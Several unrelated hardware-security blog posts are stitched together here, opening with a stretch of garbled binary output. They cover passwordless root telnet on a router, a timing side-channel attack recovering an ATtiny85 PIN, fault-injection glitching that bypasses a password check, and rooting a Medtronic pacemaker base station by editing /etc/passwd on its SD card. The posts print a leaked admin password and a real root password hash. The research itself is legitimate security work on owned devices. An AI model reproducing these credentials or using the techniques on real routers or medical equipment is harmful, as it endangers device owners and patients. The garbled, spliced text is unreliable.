                                 Dload  Upload   Total   Spent    Left  Speed
COMPCS%��6g03��������������   0      0      0 --:--:-- --:--:-- --:--:--     0
�����d������w
100  9721 �$
�_�O��-Rd����00G/d
e��;fg?�j��j|admin����SuperSecretPassword�  ���
0kW��`/#/5/G/
  �O��w/�/�/�/�/�/Z#�f/�/? ?2D?V?Z#��/�?�?�?�?�?�?Z#�p?O▒O *O<ONO`OZ#��?�O@�O�O�O�O�OZ#�zO�_"_4_F_X_j_Z#�k]
 ��TU��T��T��T��T���Q.    
�T��T�T�T�T��R��T        �T
97��T
     �T
�R��T�T�T�T��T�T��R�a!窄R�a!��R�a!���R��R��R�)�p_�oZ#��o�oX%
�x�o�o/z|8|�ZQ,��R�-���R��v��R�-il,m�O�O���O��]�?��?��0�*�<�N�`�r���
21��O�����Џ�����/��Q�K�sLM�@A<�N�`�
USz�Tz�U��W���V x�j�����$��O.x��O.y�p��R�O.wzZ#{=��] |

                                                      S*}~▒�~30▒��1490W�O���▒O��O0 1�/�@0.��.▒�׿��
 ���ƿ▒�<,�

Speaking of hardcoded passwords they were everywhere. After pulling the unencrypted firmware from the flash chip, it was easy to find JSON files containing credentials, shadow files, private keys, smbpassword file, etc. the hardcoded web app login password and wireless password were on a sicker on the router’s case. Not that you needed a password for access.

The router had telnet enabled by default. When trying to login with an non-existing username it asked for a password, however when trying to log in as root:

$> telnet 192.168.168.1 23
Trying 192.168.168.1...
Connected to 192.168.168.1.
Escape character is '^]'.

rlx-linux login: admin
Password: 
Login incorrect
rlx-linux login: root
RLX Linux version 2.0
         _           _  _
        | |         | ||_|                 
   _  _ | | _  _    | | _ ____  _   _  _  _ 
  | |/ || |\ \/ /   | || |  _ \| | | |\ \/ /
  | |_/ | |/    \   | || | | | | |_| |/    \
  |_|   |_|\_/\_/   |_||_|_| |_|\____|\_/\_/

For further information check:
http://processor.realtek.com/
# ls
bin   etc   init  mnt   root  tmp   var
dev   home  lib   proc  sys   usr   web

That is root access without a password enabled by default!

I then tried to modify the firmware and flash it back onto the chip, suprisingly there was a signature checksum that was failing since the firmware had changed, so I attempted to change the bootloader. This was possible however I didnt have time to work out how to either “NOP-out” the checksum comparison or work out how to generate a new checksum and put that into the bootloader. By default reading the output from UART the device responds:

Booting...
init_ram

M init ddr ok
DRAM Type: DDR2
	DRAM frequency: 533MHz
	DRAM Size: 128MB
JEDEC id C84017, EXT id 0xc840
found gd25q64
flash vendor: GigaDevice
gd25q64, size=8MB, erasesize=4KB, max_speed_hz=41000000Hz
auto_mode=0 addr_width=3 erase_opcode=0x00000020
=>CPU Wake-up interrupt happen! GISR=89000004 
---Realtek RTL8197F boot code at 2019.04.24-03:30-0700 v3.4.11d-CMCC-pre5 (999MHz)

no sys signature at 00010000!
no sys signature at 00020000!
Jump to image start=0x80a00000...
decompressing kernel:
Uncompressing Linux... done, booting the kernel.

The text “Pwned by Ross Marks” was modified from the original text “Realtek RTL8197F” in the following UART output by modifying the bootloader and flashing it onto the chip:

Booting...
init_ram
M init ddr ok

DRAM Type: DDR2
        DRAM frequency: 533MHz
        DRAM Size: 128MB
JEDEC id C84017, EXT id 0xc840
found gd25q64
flash vendor: GigaDevice
gd25q64, size=8MB, erasesize=4KB, max_speed_hz=41000000Hz
auto_mode=0 addr_width=3 erase_opcode=0x00000020
=>CPU Wake-up interrupt happen! GISR=89000004 
 
---- Pwned by Ross Marks ---- at 2019.04.24-03:30-0700 v3.4.11d-CMCC-pre5 (999MHz)
no sys signature at 00010000!
no sys signature at 00020000!
Jump to image start=0x80a00000...
decompressing kernel:
Uncompressing Linux... done, booting the kernel.

Challenges in Reporting the Vulnerabilities

One of the difficulties I encountered was the inability to obtain any CVE’s for the security issues I discovered. Normally, CVEs are assigned to known manufacturers and vendors, providing a way to track and address vulnerabilities. However, in this case, I was unable to identify a manufacturer for the device, making it impossible to report these issues through official channels. Without a clear vendor, there is no established process to ensure these flaws are acknowledged or patched, leaving the device vulnerable to exploitation with no accountability.

Conclusion

The device is not suitable for use and presents a major security risk. The number and severity of the issues mean that it cannot be trusted to protect sensitive information or maintain secure operations. Any organization or individual using this device would be exposing themselves to significant dangers, including data theft, system compromise, or even full control of the device by an attacker. Without urgent fixes, using the device in any professional or critical setting would be highly irresponsible, as it could easily be exploited.

All the code for this is available at https://rossmarks.uk/git/0xRoM/Hardware in the “/SideChannel/ATtiny85_Timing_Attack” directory.

Setup

To start with I’m going to use the trusty ATtiny85, it’s easy to program and so cheap it doesn’t matter if I accidentally break one.

I wired it up like so:

Walking through this. on the left of the breadboard is the ATtiny85. The wires that go off to the left are TX and RX for UART / serial debugging. To the Right of the ATtiny85 we have 4 buttons for input and right of those we have 2 LED’s (1 red and 1 green) for output.

Controlling the LED’s from 1 pin: https://www.batsocks.co.uk/readme/p_tut_led16.htm
Controlling the buttons from 1 pin: https://www.instructables.com/How-to-Multiple-Buttons-on-1-Analog-Pin-Arduino-Tu/

When it’s all put together it looked like:

Experiment 1 – Simple PIN

First I flashed the code “4_digit.ino” into the ATtiny85 which is very simple.
It has a hardcoded 4 digit pin. the user can either push a button (1 to 4) or type over serial the corresponding number. Once 4 digits have been entered it checks each digit one at a time. As soon as a digit it incorrect it exits the checking loop and lights up the red “incorrect” LED. otherwise if the loop completes the green LED flashes.

The pseudocode looks something like:

function checkLogin(input)
	for (n: 1 -> 4)
		if (secret_code[n] != input[n])
			return false
			
	return true;

The side channel we are monitoring is the time between correct and incorrect passwords.
Since the loop is checking each character one at a time as soon as it reaches an incorrect character it exits. This means that an incorrect password will have a quicker response time than a correct one.

If the password is “2323” and we test “1111” the program will see the first 1 and exit – wow that was quick.
We then test “2222”, the program checks the first digit (it’s correct) then checks the second digit (it’s incorrect) and exits.
since that second operation had an additional check it would take a little bit longer we can then infer that the correct first digit is 2.
we can then go on to test “2111”, “2222”, “2333” and “2444”, whichever took the longest of these we then have the correct second digit, and so on until we have the entire password.

While it would be possible to wire a device up to each of the buttons and the LED’s and write some code to manually simulate the button presses and monitor the LED’s power it was much easier to interact with the serial console as it works just the same.

I then created “4_digit_attack.py” which worked briliantly. It tries the same password X amount of times (default 3) and gets the average response time for that pin before trying the next, this gives a more accurate reading as it takes into account fluctuations in timings.

This worked brilliantly.. so on to the next experiment:

Experiment 2 – Unknown PIN

As the title suggests I then wanted to make it so I didn’t know the PIN. For this experiment use the code:
multi_digit.ino – ATtiny85 program.
multi_digit_attack.py – Attacking script.

The main difference here is when the ATtiny85 first boots it generates a PIN with a random length between 4 and 8 digits long.

Running the attacking script I got the following results:

/tmp# python3 multi_digit_attack.py 5
########################################################
# Attempts: 3  -    Delay: 0.8            
# Maximum possible attempts: 60            
# Estimated maximum time: 100.25 seconds 
########################################################
Started at 2025-02-09 00:02:14
Starting sequence identification on port /dev/ttyUSB0 with PIN length 5...
11111 average: 0.0201 seconds - failed, Response Time: 0.0210 seconds
22222 average: 0.0199 seconds - failed, Response Time: 0.0199 seconds
33333 average: 0.0248 seconds - failed, Response Time: 0.0250 seconds
44444 average: 0.0150 seconds - failed, Response Time: 0.0200 seconds
Best digit for position 1: 3 (Average response time: 0.0248 seconds)
31111 average: 0.0256 seconds - failed, Response Time: 0.0255 seconds
32222 average: 0.0301 seconds - failed, Response Time: 0.0298 seconds
33333 average: 0.0253 seconds - failed, Response Time: 0.0260 seconds
34444 average: 0.0260 seconds - failed, Response Time: 0.0253 seconds
Best digit for position 2: 2 (Average response time: 0.0301 seconds)
32111 average: 0.0309 seconds - failed, Response Time: 0.0311 seconds
32222 average: 0.0312 seconds - failed, Response Time: 0.0313 seconds
32333 average: 0.0306 seconds - failed, Response Time: 0.0317 seconds
32444 average: 0.0409 seconds - failed, Response Time: 0.0401 seconds
Best digit for position 3: 4 (Average response time: 0.0409 seconds)
32411 average: 0.0363 seconds - failed, Response Time: 0.0365 seconds
32422 average: 0.0258 seconds - failed, Response Time: 0.0365 seconds
32433 average: 0.0361 seconds - failed, Response Time: 0.0363 seconds
32444 average: 0.0405 seconds - failed, Response Time: 0.0411 seconds
Best digit for position 4: 4 (Average response time: 0.0405 seconds)
32441 average: 0.0416 seconds - failed, Response Time: 0.0412 seconds
32442 average: 0.0412 seconds - failed, Response Time: 0.0415 seconds
32443 average: 0.0474 seconds - correct, Response Time: 0.0478 seconds
32444 average: 0.0409 seconds - failed, Response Time: 0.0401 seconds
Best digit for position 5: 3 (Average response time: 0.0474 seconds)
########################################################
# Identified sequence: 32443
########################################################
Finished at 2025-02-09 00:09:22
Total execution time: 7m 7s

When the device generated a longer pin:

/tmp# python3 multi_digit_attack.py 8
########################################################
# Attempts: 3  -    Delay: 0.8            
# Maximum possible attempts: 96            
# Estimated maximum time: 161.60 seconds 
########################################################
Started at 2025-02-09 10:37:40
Starting sequence identification on port /dev/ttyUSB0 with PIN length 8...
11111111 average: 0.0182 seconds - failed, Response Time: 0.0183 seconds
22222222 average: 0.0174 seconds - failed, Response Time: 0.0169 seconds
33333333 average: 0.0281 seconds - failed, Response Time: 0.0285 seconds
44444444 average: 0.0183 seconds - failed, Response Time: 0.0183 seconds
Best digit for position 1: 3 (Average response time: 0.0281 seconds)
31111111 average: 0.0273 seconds - failed, Response Time: 0.0284 seconds
32222222 average: 0.0378 seconds - failed, Response Time: 0.0385 seconds
33333333 average: 0.0281 seconds - failed, Response Time: 0.0275 seconds
34444444 average: 0.0277 seconds - failed, Response Time: 0.0272 seconds
Best digit for position 2: 2 (Average response time: 0.0378 seconds)
32111111 average: 0.0380 seconds - failed, Response Time: 0.0385 seconds
32222222 average: 0.0379 seconds - failed, Response Time: 0.0375 seconds
32333333 average: 0.0371 seconds - failed, Response Time: 0.0372 seconds
32444444 average: 0.0481 seconds - failed, Response Time: 0.0473 seconds
Best digit for position 3: 4 (Average response time: 0.0481 seconds)
32411111 average: 0.0471 seconds - failed, Response Time: 0.0468 seconds
32422222 average: 0.0477 seconds - failed, Response Time: 0.0473 seconds
32433333 average: 0.0577 seconds - failed, Response Time: 0.0570 seconds
32444444 average: 0.0480 seconds - failed, Response Time: 0.0470 seconds
Best digit for position 4: 3 (Average response time: 0.0577 seconds)
32431111 average: 0.0577 seconds - failed, Response Time: 0.0574 seconds
32432222 average: 0.0573 seconds - failed, Response Time: 0.0573 seconds
32433333 average: 0.0567 seconds - failed, Response Time: 0.0562 seconds
32434444 average: 0.0772 seconds - failed, Response Time: 0.0770 seconds
Best digit for position 5: 4 (Average response time: 0.0772 seconds)
32434111 average: 0.0677 seconds - failed, Response Time: 0.0670 seconds
32434222 average: 0.0678 seconds - failed, Response Time: 0.0676 seconds
32434333 average: 0.0672 seconds - failed, Response Time: 0.0673 seconds
32434444 average: 0.0773 seconds - failed, Response Time: 0.0773 seconds
Best digit for position 6: 4 (Average response time: 0.0773 seconds)
32434411 average: 0.0990 seconds - correct, Response Time: 0.0983 seconds
32434422 average: 0.0780 seconds - failed, Response Time: 0.0770 seconds
32434433 average: 0.0767 seconds - failed, Response Time: 0.0770 seconds
32434444 average: 0.0774 seconds - failed, Response Time: 0.0768 seconds
Best digit for position 7: 1 (Average response time: 0.0990 seconds)
32434411 average: 0.0980 seconds - correct, Response Time: 0.0984 seconds
32434412 average: 0.0873 seconds - failed, Response Time: 0.0873 seconds
32434413 average: 0.0869 seconds - failed, Response Time: 0.0868 seconds
32434414 average: 0.0876 seconds - failed, Response Time: 0.0870 seconds
Best digit for position 8: 1 (Average response time: 0.0980 seconds)
########################################################
# Identified sequence: 32434411
########################################################
Finished at 2025-02-09 10:50:51
Total execution time: 13m 11s

A little over 13 mins to crack an 8 digit pin, I think thats pretty good.

The script could be optimized to quit as soon as the response contained “correct” (or the green led comes on) this would greatly reduce the time to crack if a pin had repeating characters at the end, but I wanted to get the pin by just examining the timing.

Thats all for the little experiments I was playing with on the weekend. I hope this has helped someone, I recommend trying it – it was a lot of fun!

Fault injection is a technique in hardware penetration testing, used to assess and exploit vulnerabilities within physical devices by intentionally inducing errors or “faults” into a system. This enables us to understand how a device behaves under unexpected conditions, simulating potential attacks and stressors that might occur in real-world scenarios. By manipulating various environmental, electrical, or timing aspects of the hardware—such as introducing voltage spikes, clock glitches, or electromagnetic interference (as demonstrated in the previous blog) — testers can observe whether the device exhibits unintended behaviours, such as bypassing security mechanisms, leaking sensitive data, or revealing exploitable weaknesses.

Types of injection / glitching

Traditional Voltage Glitching

Traditional voltage glitching involves applying short, high-frequency voltage spikes or dips to a device’s power supply to disrupt its operations temporarily. In this approach, testers introduce controlled fluctuations in the power supply to induce faults, usually with the aim of causing the device to skip instructions, bypass security checks, or enter an unstable state. This type of glitching is often achieved by using a pulse generator to inject precise glitches into the power line, making it possible to create repeatable faults that can be tested and analysed. Traditional voltage glitching is widely used in assessing the security of embedded systems, particularly in devices where energy efficiency and cost constraints may leave power regulation vulnerable.

Crowbar Glitching

Crowbar glitching is a more aggressive variant of voltage glitching, where the power line of the device is intentionally shorted to ground for a very brief period, creating a sudden and sharp voltage drop. The “crowbar” technique gets its name from the idea of forcefully dragging the voltage down, similar to using a physical crowbar. Crowbar glitching is typically achieved by momentarily connecting the device’s power rail directly to ground, causing a rapid dip in voltage that can disrupt the device’s operation more intensely than traditional voltage glitches. This method is especially effective in bypassing bootloaders, secure boot processes, or cryptographic routines that might reset or enter a fail-safe mode due to the severe power fluctuation. Crowbar glitching requires careful timing and control, as the intense voltage drop can lead to permanent damage if not precisely applied.

Clock Glitching

Clock glitching involves injecting irregularities into the device’s clock signal, which governs the timing of its operations. By inserting deliberate delays or spikes into the clock pulses, testers can interfere with the synchronisation of processes within the hardware. A successful clock glitch may lead the device to skip instructions, improperly handle data, or even execute commands incorrectly. This is particularly valuable in assessing the resilience of microcontrollers, processors, and digital signal processors that depend on precise timing. For example, skipping an instruction during an authentication sequence might lead to security bypasses. Clock glitching is often used in testing systems with stringent timing requirements, like automotive and industrial controls, to verify that they handle timing disturbances gracefully.

Electromagnetic (EM) Fault Injection

Electromagnetic fault injection uses electromagnetic pulses to induce faults within a device by targeting specific circuits or components without direct electrical contact. By using focused EM pulses, testers can disrupt or interfere with the functioning of nearby circuits, causing unpredictable behaviour. This method is beneficial for identifying vulnerabilities that are challenging to induce with voltage or clock glitches, as EM faults can be targeted at precise areas within a chip or module. It’s especially effective for bypassing security protections in tamper-resistant hardware, such as smart cards and secure elements, where direct access to circuit lines may be restricted. The non-invasive nature of EM injection makes it valuable in scenarios where physical modification of the device is impractical.

Why choose crowbar glitching?

• Higher Disruption Potential: Crowbar glitching creates a more intense and abrupt voltage drop, which can effectively bypass critical security features, such as bootloaders and authentication routines, that might resist traditional voltage spikes.
• Precise Timing Advantage: The rapid nature of crowbar glitching allows for more targeted timing control, making it easier to disrupt specific instructions or security functions that rely on precise timing sequences.
• Increased Chance of Success in Secure Systems: For secure or tamper-resistant systems designed to handle minor voltage fluctuations, the sharper impact of crowbar glitching may be necessary to induce the desired fault, as traditional glitching might be insufficient.
• Targeted Fault Injection: By focusing the crowbar glitch on the specific chip’s power supply line, testers can induce faults without significantly affecting the power to other components. This selective application is especially useful in multi-component systems, allowing the glitch to focus on a single target chip (such as a microcontroller or secure element) without disturbing the overall system stability.
• Bypass Stronger Power Regulation: Devices with robust voltage regulation circuits are more resilient to traditional glitches. Crowbar glitching’s sudden and intense voltage drop can overwhelm these circuits, making it a viable approach for testing highly secure devices.

While crowbar glitching carries a higher risk of damaging components, its ability to induce intense, precisely-timed faults can make it more effective in penetrating advanced security features.

How it works

In the following image the device in the red box is the target device that we are wanting to cause a fault on. The device in the blue box is what we will be using to cause the glitch.

By connecting the “source” and “drain” to the power rail and ground of the target device we are able to cause a crowbar glitch. The circuit would look like this:

Under normal operation the power would have the following flow:

When we start to glitch by powering the gate of the mosfet the power follows this flow, temporarily disrupting the power to the chosen component:

For my testing I used a “curious bolt” (which contains the mosfet controllable via python) and, as I did previously, I will be using the same Attiny85 as the target. Once it was all hooked up, it looked like this with the curious bolt on the left and the target on the breadboard to the right (the black and white wires go to a USB-UART for reading/writing to the serial debug of the chip):

Initial check

The first test was just to see if it works, the script was the same as the FaultyCat’s first example. When the device first starts it outputs “Initializing…” to the serial port. As demonstrated this worked, the script on the left causing the device to restart (on the right)

Heres how a glitch looks on the oscilloscope:

Test 01

This test was to see if it was possible to use this glitch to change the logic or running of the device without causing it to reset. All it does is create a random number, assign it to two variables, perform some operations on the variables which will still result in the same numbers but introduce a place for a glitch to occur and check the variables match (which they always should).

I could not get this to work, I couldn’t get the pulse for the glitch to be a short enough amount of time to cause a glitch and not a reset. Tom (one of the main devs/ the creator of the curious bolt?) explained the concept of the “bypass capacitor” which is common in electronics to keep the power stable. Put simply:

A bypass capacitor is a small capacitor placed across a power supply line and ground to smooth out fluctuations in voltage and prevent unwanted noise in electronic circuits. It acts as a local reservoir of charge that provides quick bursts of current when there’s a sudden demand, helping to maintain a stable voltage. When a circuit component, like a transistor or an integrated circuit, switches on and off, it can create small voltage spikes. The bypass capacitor shunts (or “bypasses”) these high-frequency signals to ground, preventing them from affecting other parts of the circuit.

Heres how it looks in the fritzing schematic:

And here it is implemented on my breadboard:

Heres how the power when glitching looks before and after:

In the second image the device recovers a lot quicker from the sudden power drop, this allowed me to cause the glitch without restarting the device as it spends less time without power!

If you are anything like me then you are probably wondering how that works since typically power goes in one pin and out the other, how does it go backwards? So heres a quick 3 stage process on how that works:

Voltage Difference: The capacitor has a voltage across it from being charged up by Vcc (one side at Vcc and the other at GND).
Glitch Drop: When the glitch lowers Vcc, the voltage on the capacitor’s Vcc side is suddenly higher than Vcc itself.
Automatic Discharge: Because electricity flows from high voltage to low voltage, the capacitor naturally pushes some of its stored charge back into Vcc to balance things out.

After loads of trial and error and changing timings I got the following:

The script on the left caused the device to glitch even though it seems the numbers appear to be the same! Since the numbers appear to be the same it is most likely that the glitch caused the device to skip over one of the comparisons:

// Check if the numbers still match after the potential glitch
  int match = 0;
  if (num1FirstDigit == num2FirstDigit) {
    if (num1SecondDigit == num2SecondDigit) {
       match = 1;
    }
  }
  
  if (match == 1) {
    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
  } else {
    Serial.print("Glitch detected! Numbers do not match: ");

Test 02

This time the device was programmed to do the following:

• Output “Initializing…” when booting
• Start all output with “[-]” if not logged in or “[+]” if access is granted
• Reply “pong” when sent “ping” (to tell if device is alive or has crashed)
• Compare user input to password (to log in if anything sent other than “ping”)

The FaultyCat script to attack the same code was used but butchered to work with the CuriousBolt instead. The timings took so long to find, originally they were hardcoded in the script but it was becoming such a pain I ended up making them parameters to the script
(02-pass_match_glitch.py)

After much much tinkering, changing parameters and timings and double/triple checking connections eventually I got the following:

YEY the password had successfully been bypassed.
Much like when doing this with the FaultyCat sometimes it also vomited junk over the serial port

Well look at that! it’s echoed the password along with the incorrect one submitted by the script!

Conclusion

I think this demonstrates how useful this kind of attack can be. from my experience it’s more complicated to get working than EM fault injection, however once it’s dialled in it seems to be a lot more reliable.
Learning this and playing with it has been a lot of fun and I have to give a massive thank you to Tom and Aleph for helping with pointers and tips.

Now that I’ve got the concepts down it’s time to try the challenge board that came with the CuriousBolt, it contains 4 challenges!
Look how pretty the board is:

All the code for this is available here: https://rossmarks.uk/git/0xRoM/Hardware

Chip Restarting

The first thing to do is just get the device to send a pulse and restart the chip.
I started by programming an ATtiny85 to simply echo over serial “Initializing…” when it first turns on then in a loop “running” so we have an indication that the chip isnt dead.

In the repo this is in “/FaultInjection/examples/FaultyCat/01_simple_restart/”.

I have previously made a holder for the FaultyCat (https://thingiverse.com/thing:6753548 ) and it made this whole project a LOT easier as an important part of this is working out where to position the FaultyCat over the chip. This will take trial and error, just try to move in small increments until you get the result you want.

My setup looked like this:

The wiki (https://github.com/ElectronicCats/faultycat/wiki) is fairly barebones, however I found it has all that was needed to get this working.

For this example check the “FaultyCMD” section of the wiki, it’s fairly simple, set the config values then send start. I did find that I was unable to change the power level. Move the device to different locations on the chip to find the best place to send the pulse. Once you have it should look as follows:

Where it says “Initializing…” is where the chip restarted due to the FaultyCat zapping the ATtiny85.

Number Comparison

As cool as restarting the chip is, it’s not very useful. Typically here you would lower the power a little bit at a time until it would no longer restart the chip, but as mentioned before that didnt work for me, instead I moved the FaultyCat to a different location on the ATtiny85 that didnt cause a restart, I also raised the tip in the hope it lost some of the power reaching the chip. The idea of lowering the power so it no longer restarts is in the hope that instead it would mess with the chip but keep it alive, this could be by flipping a bit in memory or causing it to skip an instruction, or some other weird wonderful thing.

For this demo flash “/FaultInjection/examples/FaultyCat/02_match_numbers/” onto the ATtiny85. This script generates a random number, sets variable A to that number and variable B to the same number. It then performs some operations on the numbers (to waste time essentially, allowing for a glitch to occur) before checking that A == B, which it always should. As you might expect the following happened:

Password Protection

Now the real fun begins. To start with you will want to flash “/FaultInjection/examples/FaultyCat/03_password_check/” to the ATtiny85. This is another very simple program, it’s output will start with “[-]” if you are not logged in or “[+]” if you are. The program will respond “pong” if you send it “ping” otherwise it presumes your input is a password attempt, which if wrong it will reply with “Password incorrect” otherwise you have the correct hardcoded password and it will reply “Password correct”. Theres some delays and operations in there to emulate if it was comparing against a hash and having to perform extra operations.

In the “03_password_check” folder there is also “attack.py” this script is what interacts with the FaultyCat and the ATtiny85 to perform the injection. This is also very basic. It arms the Faultycat, then sends “ping” to the chip to ensure it is alive and working as expected. if it gets a “pong” response it then sends “incorrectpassword” to the chip and very quickly (basically at the same time) a FaultyCat pulse to the chip, it does this 5 times really fast before checking “ping” response again. between each password attempt it checks to see if the response is “correct” but not “incorrect”, if it is then everything stops because we would have gained access.

So now everything is setup and ready to go I run the script and:

Well that was unexpected, as you can see in the right screen, it echoed the password! The theory is, it put the password into memory for comparing, it compared as incorrect, it then tried to put “password incorrect” into the same memory location but the FaultyCat made it skip that instruction, the next instruction being to print that memory location, where instead of printing “incorrect password” the only thing it could print was the password. Of course this is just a guess.

Eventually it did bypass the comparison and we get:

YEY we gained access, game over, I win!

I never broke the ATtiny85 throughout these experiments, although sometimes did require it to be disconnected and reconnected, the timer would get hit and everything run crazy fast or just junk getting dumped to the screen. Here is a typical example, you can also see the password in the junk dumped to screen:

Overall this was a fun attack and another tool under the belt, I have definitely caught the glitching bug and have some voltage glitching hardware on the way so expect more content around this.

I hope you have learned something from this.
Until next time.

About the base station

Before diving straight in and hacking a pacemaker we will start by attacking the base station. The pacemaker talks to the base station, this is a small box that is left beside the bed. At night, this device communicates wirelessly with the pacemaker to collect information like heart rhythms and device performance. It then uploads this data to a remote network that the doctors have access to. This allows the doctor to monitor the patients pacemaker health remotely and check how well it is working without needing to visit the hospital frequently. It’s a simple way to ensure everything is functioning correctly.

The plan is to hack this device to understand the communication between it and the pacemaker to see it that can be replicated and if the communications are secure. As a side goal it would be interesting to check the following: 

• See if the device is secure both physically and in the software implementation
• See if there is PII stored on the device
• See how it communicates to the remote network and how that is implemented, is it secure?

OSINT

One of the first things to check before opening the device is any public documentation, user manuals are available online helping with how to use the device, there are no default credentials in it. Since the device is sold in America and uses radio communications it is required to pass FCC checks, these documents often contain useful information, this device had the following FCC docs: https://fccid.io/LF524950B unfortunately there wasn’t anything too useful here from a pentester perspective, some of the frequencies are confirmed and there are some internal photos, but that is about it.

Hardware tare-down

Firstly lets see what I got!

The handset on top will be for another blog post, this one will only focus on the base.

It did contain a USB 4G modem with a Vodaphone SIM card 

Security screws

Getting access to the PCB was a pain as they used a couple of different security screws: standard 6 point t8 torx and a more annoying 5 point with center pin torx (I had to buy specific bits for these!)

Component identification

Now we have this open lets see what parts it’s using:

PCB Front:

PCB Back:

CPU: AM3703CUS100 – Texas instruments CPU (ARM Cortex A8 – 1 core, 32 bit 1GHz)

mouser link

SDRAM: IYB17 D9LRB – DRAM MOBILE DDR 1G @ 200MHz

mouser link

USB Interface: SMSC LAN9512-JZX – IC USB 2 Port Hub Int 10/100 Ethernet

mouser link

USB Transciever: T1210b 

https://www.ti.com/lit/ds/symlink/tusb1210.pdf

RF Module: Microsemi ZL70473MN – Low-Power RF Module for Implant Applications

https://www.microchip.com/en-us/product/zl70323

EEPROM: 24256E – 256k

https://www.onsemi.com/pdf/datasheet/cat24c256-d.pdf

SD Card: Sandisk 1GB MicroSD

UART discovery and modification

Recognizing the footprint of the unpopulated component on the PCB as a UART interface I set up the probes to test this theory:

I was correct and saw data in the terminal, so quickly added a more convenient header:

Software inspection

I launch screen to record what happens and reset the device. Low and behold a boot log!

U-Boot SPL 2012.10-rc2 (Jul 09 2019 - 13:47:53)
OMAP SD/MMC: 0
reading u-boot.img
reading u-boot.img


U-Boot 2012.10-rc2 (Jul 09 2019 - 13:47:53)

OMAP36XX/37XX-GP ES1.2, CPU-OPP2, L3-165MHz, Max CPU Clock 1 Ghz
MDT Vega board + LPDDR/
I2C:   ready
DRAM:  128 MiB
MMC:   OMAP SD/MMC: 0
*** Warning - bad CRC, using default environment

In:    serial
Out:   serial
Err:   serial
Die ID #649a00029a180000015ec3e90401a004
VDD1: 3a, Converted: 1325 [mV]
VDD2: 2c, Converted: 1150 [mV]
Boot MPU rate: 600 mHz
MPU rate switched to: 1000 mHz
reading bootimg.rgb
Hit any key to stop autoboot:  0 
SD/MMC found on device 0
reading uEnv.txt

53 bytes read
Loaded environment from uEnv.txt
Importing environment from mmc ...
Loading file "/boot/uImage" from mmc device 0:2
3128968 bytes read
mmc boot
Booting from mmc ...
## Booting kernel from Legacy Image at 80200000 ...
   Image Name:   MontaVista Linux 6/3.0.3/ti-omap
   Image Type:   ARM Linux Kernel Image (uncompressed)
   Data Size:    3128900 Bytes = 3 MiB
   Load Address: 80008000
   Entry Point:  80008000
   Verifying Checksum ... OK
   Loading Kernel Image ... OK
OK

Starting kernel ...

Uncompressing Linux... done, booting the kernel.

INIT: version 2.86 booting

Please wait: booting...
mount: sysfs already mounted or /sys busy
mount: according to mtab, sysfs is already mounted on /sys
Starting udev
Root filesystem already ro, not remounting
Caching udev devnodes
Configuring network interfaces... done.
net.ipv4.conf.default.rp_filter = 1

I snipped off the end as theres nothing particularly interesting after.
Things of note from these boot logs:

uboot version: U-Boot SPL 2012.10-rc2 (Jul 09 2019 - 13:47:53)
 Image Name:   MontaVista Linux 6/3.0.3/ti-omap
   Image Type:   ARM Linux Kernel Image (uncompressed)
MontaVista Linux 6 .dev-snapshot-20190709 Vega1.2.4p

I was also presented with a login prompt, try all kinds of combinations to get root, but no luck, after a while I try the name “medtronic” with no password and am greeted with a shell!

Theres not much I can do with this account, but as luck would have it:

medtronic@Vega1:/home/medtronic# cat /etc/passwd
root:$1$X1oVTrRE$Nz6O26Tu0bbCT8uWBjOPz.:0:0:root:/home/root:/bin/sh
daemon:*:1:1:daemon:/usr/sbin:/bin/sh
bin:*:2:2:bin:/bin:/bin/sh
sys:*:3:3:sys:/dev:/bin/sh
sync:*:4:65534:sync:/bin:/bin/sync
games:*:5:60:games:/usr/games:/bin/sh
man:*:6:12:man:/var/cache/man:/bin/sh
lp:*:7:7:lp:/var/spool/lpd:/bin/sh
mail:*:8:8:mail:/var/mail:/bin/sh
news:*:9:9:news:/var/spool/news:/bin/sh
uucp:*:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:*:13:13:proxy:/bin:/bin/sh
www-data:*:33:33:www-data:/var/www:/bin/sh
backup:*:34:34:backup:/var/backups:/bin/sh
list:*:38:38:Mailing List Manager:/var/list:/bin/sh
irc:*:39:39:ircd:/var/run/ircd:/bin/sh
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:*:65534:65534:nobody:/nonexistent:/bin/sh
medtronic::1000:1000:Linux User,,,:/home/medtronic:/bin/sh
messagebus:x:11:11:Linux User,,,:/var/run/dbus:/bin/sh
polkituser:x:12:16:polkituser:/var/run/polkit:/bin/sh

YES a root password hash!

root:$1$X1oVTrRE$Nz6O26Tu0bbCT8uWBjOPz.:0:0:root:/home/root:/bin/sh

I give this to a few mates with better cracking rigs than me and no-one was able to crack it, if anyone reading this is able to I’d be interested to know what the password is.

Getting root

With the “medtronic” account being fairly locked down and no obvious method to root I decided to look into the SD card, plugging it into my windows host I saw it contained 4 partitions, 3 of which didn’t work (will investigate later) but one did! the “boot” partition. In this partition it had uEnv.txt which appeared to have uboot options, I tried the obvious by adding “init=/bin/sh” as usual, but when booting the device with the SD card reinstalled there was no root shell.

I then try the SD card in a linux machine and can see all 4 partitions.

Partitions:

app – encrypted blob
boot – accessible, boot image and config files
data – encrypted blob
root – linux filesystem

Now I could edit /etc/passwd on the “Root” SD card filesystem, I changed medtronic to user / group 0, reinstalled the SD card, booted the system and logged in with “medtronic” with no password and was greeted with:

root@Vega1:/home/medtronic# id
uid=0(root) gid=0(root) groups=0(root)
root@Vega1:/home/medtronic# uname -a
Linux Vega1.2.4p 3.0.3.ti-omap3-beagle-2.6.29 #19 PREEMPT Tue Jul 9 13:57:40 CDT 2019 armv7l unknown

Woop Woop I now have root access to the device!

Further software analysis

Although the “data” and “app” folders are encrypted at rest, now with a root shell they are browsable like normal directories. I was expecting some PII, but there was not on this device I bought from ebay, I’m not sure if that’s because none is stored on it in these encrypted folders or because I got a previously unused device. Either way there wasn’t much interesting in these encrypted folders, some apps and some config files but nothing of note!

The device did have some interesting processes that auto-start in boot, I have yet to reverse them but that would definitely be the next course of action.:

/usr/bin/mono /usr/lib/mono/2.0/mono-service.exe -l:/var/run/tc.pid TcpIpTCService.exe
/opt/medtronic/bin/audiod
/opt/medtronic/bin/inputd
/opt/medtronic/bin/lcdd
/opt/medtronic/bin/nvmemoryd
/opt/medtronic/bin/swupdated

linenum and linpeas were run to find some interesting things that have yet to be explored. There were some hardcoded URL’s and IP addresses in network config files.

Encryption key

